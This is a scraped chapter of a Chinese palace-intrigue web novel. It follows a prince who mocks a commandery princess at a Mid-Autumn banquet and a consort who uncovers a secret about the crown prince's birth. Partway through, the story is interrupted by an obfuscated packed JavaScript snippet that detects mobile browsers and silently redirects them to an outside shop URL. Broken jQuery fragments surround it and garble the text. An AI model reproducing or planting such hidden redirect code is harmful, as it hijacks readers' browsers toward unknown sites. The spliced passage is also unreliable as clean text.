文趣网 > 其他小说 > 长安月未圆 > 26. 完全不知礼数!
    萧家的心思昭然若揭,连祝长安这样不操心宫内事的人,都看的明白。

    阖宫上下,自然也无人敢对这位郡主不敬。

    每每在皇后处遇见,总要对云见月刻薄几句,听说从前也是这般对余北的。

    皇后从前或许装些体面,有了绿央之事,如今倒是装聋作哑多些。

    云见月亦是回回退避,忍了再忍。

    为避中秋宴,祝长安在枢密院拖到所有人都散值离去,又喝了三壶茶,才不得已回宫。

    却见重华宫异常安静。

    “侧妃人呢?”祝长安拦下个宫婢问。

    婢子屈膝:“侧妃往昭华台去赴宴了,去时说,请殿下回来歇下便是,皇上皇后面前,她自有说辞。”

    祝长安点点头,抬脚便进殿。

    却见矮榻方桌上,早早摆了蜜饯果子。

    便扭脸问:“这是侧妃的交代?”又不觉低声喃喃,“从宴上回来,她还有肚子吃这个?”

    婢子摇摇头,小声回,“侧妃待婢子们很好,这是婢子们自作主张为侧妃准备的。侧妃回回从皇后娘娘那里回来,就总是哭。婢子们想让侧妃吃些甜食,想是心情能好些。”

    祝长安眸光一凛,殿内霎时寒气森森,婢子内侍更是跪了一地。

    这日皇上事忙,不曾赴宴,裕贵嫔以身子尚未痊愈为由,一早就派人来请了辞,太子妃也称病未来。

    故而今日中秋宴,比往年略显冷清。

    萧泽兰就像那盯上了肥肉的狼犬。

    说来,其实二人也无仇怨的,如果不算上两家日前的恩怨的话。

    “今日是团圆日,诸皇子可都来了,怎就二殿下不来给姑母请安?恕我多嘴,二皇子侧妃可是不称职了些,身为侧妃,侍奉衣食是一项,劝诫主子不能以一己喜好做事,才是重中之重呢!”

    这话,从前四公主也说过的,之后便是祝长安一箭射穿了她的金簪。

    只是萧泽兰身旁坐着的,是皇后,便当真是她言语不当,也无人敢反驳。

    唯祝长行先是低头瞅了瞅面前的酒杯,再抬眼时,沉了脸色,“郡主此话……”

    “儿臣来给皇后娘娘请安!”祝长安的声音自阶下响起,穿过长廊,径自灌入昭华台,“顺便来贺郡主生辰!”

    云见月并着三皇子四公主,五皇子六皇子,各自起身见礼。

    祝长安却无视几人,只于堂中拱手作礼,抬脸时,目光不离上首的萧泽兰。

    任她再目中无人,到了夜叉跟前,也是气焰全无,早缩在皇后衣袖处,不敢多言。

    祝长安一伸手,身后卫生生躬身上前,手捧一精致锦盒递到他手中。

    “郡主生辰,我特备厚礼相赠。”

    一时,昭华台内,落针可闻。

    祝长安一手持锦盒,一手负于身后。有宫婢来接时,他未松手,只笑眯眯往上头望去。

    皇后只得开口,“既是长安为你生辰所备之礼,你也该亲自谢过。”

    萧泽兰不得不起身上前,双手接过锦盒时,祝长安的指尖轻而慢的划过她新做的蔻丹。

    萧泽兰便是无法控制的打了一个激灵,不禁抬眸望去,却见祝长安眼含笑意,狡黠地盯着她。

    “谢……谢过二殿下!”萧泽兰匆匆施礼,慌忙逃离,转身时衣袖边缘拂过祝长安未及收回的手指。

    众人俱已落座,唯云见月站立等待,将这一幕尽收眼底。

    祝长安到她身边时,都未看她一眼,眼睛只是往皇后身边瞟着,“许久不曾相见,郡主倒是越发水灵了。”

    这话,连祝长行也听出几分着意的不尊重,可到底上头还坐着皇后,也着实不承体统。

    遂想岔开话头,“二弟确是许久不参加宫中宴了,到底是二弟妹……”

    祝长安却是谁的面子都不曾给过,亦像未听见祝长行的话,“不知国公大人有未给郡主择好夫婿?”

    此话一出,殿中气氛骤然凝固,众人都看向祝长行。

    萧泽兰脸上更是青白交错,手中那锦盒也像长了刺。

    祝长安拈杯入口,又不急不慢道:“要我说,郡主生自国公府邸,这样的门第,寻常子弟哪里配得上?非得是皇室宗亲,才不算委屈了郡主。”

    祝长行连连像云见月使眼色,该堵了祝长安那不饶人的嘴,只是云见月哪里劝得了。

    论起来,若是他想开口,萧泽兰的刻薄在他面前,也是小巫见大巫了,“三皇弟尚未婚娶,年纪也比郡主小个两岁……”

    不想能提及自身,祝长泓错愕看了看祝长安,再往上首看去,不知这话从何说起,也不敢贸然接茬。

    祝长安却先是叹了口气,佯作可惜,再是邪魅勾唇,“只是三皇弟性子温暾,怕是入不了郡主的眼,郡主喜欢有脾气的,是不是?”

    再是人前要端住贤惠,此时皇后也忍不住阴沉了脸,“长安,不可胡乱攀附。”

    祝长安放下酒盏,笑眯眯地看向皇后:“儿臣想来,郡主这般品貌,满京城数过来,能配得上她的,也就只有儿臣了。若是国公爷实在寻不得佳婿,儿臣倒愿意受些委屈,纳了郡主……”

    云见月猛地抬脸,一双美目含嗔含怅,就这么痴痴望着祝长安。

    可惜他正一脸得意的望着上首,全然不知身畔人眼含水光。

    一屋子人亦不知祝长安究竟又要出什么损招,也无人敢出声。

    皇后脸色霎时铁青,一掌拍在桌案上,萧泽兰面前的锦盒都颤了颤,“祝长安!你当着满宫皇子公主的面,说的这是什么浑话?完全不知礼数!”

    祝长安不慌不忙起身,朝上首拱手,语气里却无半分愧意,“皇后娘娘息怒!郡主年岁渐长,只怕外头许多人惦记着,儿臣也是好心,今日把话说明了,也好叫那些闲杂人等死了心。”

    底下的皇子公主皆瞠目,倒是祝长行,低头饮酒时,迅速又不易被人发觉的,笑了一下。

    祝长安脸上笑意未减,眼底却不尽然,“至于礼数……儿臣从来不知礼数为何物,皇后娘娘也不是今日才知。从前在父皇面前,皇后娘娘尚肯替儿臣遮掩几分,怎么今日父皇不在,您便连装……也不愿装了?”

    “你……”皇后被噎得说不出话,半晌,指着祝长安的指尖发颤,“你实在不知体统!”

    ……

    玉峦宫,果儿还未回来,裕贵嫔已急得下了榻。

    今日后宫设宴,顾政殿里,皇上也在宴请几位老臣,宫人各自有自己的差事,忙得不可开交,自然他处,便少顾及。

    她才终于得了机会,去宫外求个究竟。

    那问题,可是压了她许久了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656110|206971||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    宫外的消息进不来,她便连装病也装不下去。

    一小婢子立在门边,抻着脖子望着宫门,嚷道:“回来了!娘娘,回来了!”

    果儿急急进殿,呼哧呼哧喘着粗气。

    “快说!”裕贵嫔冲上前来,挥挥帕子,殿内众人会意退去。

    “死了!”

    裕贵嫔不觉攥住果儿肩袖,急问:“什么死了?谁死了?”

    果儿吞了口口水,尚缓过些气,才道:“那个稳婆!说是送过去次日就死在炕上了!这么些年,她还活着的消息本就是假的!婢子家中大哥找去时,庄子里的农户还带他去瞅了眼坟头,那草都长了两尺高了!”

    “死了?”

    “死了!”

    裕贵嫔浑身发冷,一个不稳,身子一歪,跌坐在绣墩上。

    果儿忙不迭去扶,却听她口中碎碎念着:“死了,那岂不是再也找不到真相了?再无人知道真相了……”

    “娘娘……娘娘您在说什么?”果儿为裕贵嫔轻抚后背,以稳她心神,又道,“一个多少年前的接生稳婆,便是真找着了,估计也问不出什么了。便是她还记得,那个侧妃……已经母子俱亡,便是知道真相,又有谁能替她做主呢?”

    裕贵嫔却眉目紧蹙,拳头也攥得紧,朝外头望了一眼,才低声道:“你怎知她一定母子俱亡?”

    “这……”果儿不解,“这王府档册或是玉牒上当有记载,这还能有假?”

    果儿更不解的是,“娘娘,咱们不是要查皇后吗?为何又突然查起那个死了多年的谢侧妃了?”

    裕贵嫔冷声一笑,不是笑果儿蠢。

    是笑宫中人个个自诩心机塞诸葛,又都笑她空有一身好皮囊。

    可如今,这实实在在的宫闱秘事可是让自己给掏着了。

    果儿但见裕贵嫔神色诡谲,竟也随之惶然,忙去将大门关严实了。

    才见裕贵嫔开口,“都说我是个傻的!你倒比比我还糊涂!”

    “孙嬷嬷可是清清楚楚的说明了,当年皇上作为晋王率军出征,两年不曾归京!回来时那谢侧妃就大了肚子,可是又说皇后当年是于次月诞下太子!你可曾听说太子是早产所生?”

    果儿摇摇头。

    裕贵嫔咬着牙,“如果不是,那当年之事,可大有问题!”

    “咣当”一声,一阵夜风袭来,吹开了槛窗,窗台上一株才结了花苞的月季被窗框打落。

    碎了一地瓷片子。

    二人惊得敛唇。

    昭华台宴罢,祝长安携云见月往玉峦宫来,却被告知,“贵嫔娘娘已经睡下了。”

    二人又回至重华宫。

    今日祝长安在,宴上也无人再敢言语奚落云见月。

    婢子们备的果脯蜜饯自然也用不上了。

    许是累极,祝长安进门便仰躺在矮榻上,命人撤去果碟。

    云见月默默不语,坐在他脚边,为他褪靴。

    “今日之事,你如何想?”

    云见月抬眸,见祝长安一手撑腮,颇具审视的盯着自己,那种浪荡和不屑,她其实……不喜欢。

    可她终究也只是侧妃而已,还是父亲为她求的。

    她垂下眼,手上动作也没停,只尽量使自己看起来是真的平静,“若有一日,殿下与郡主终成眷属,妾愿尽心侍奉……”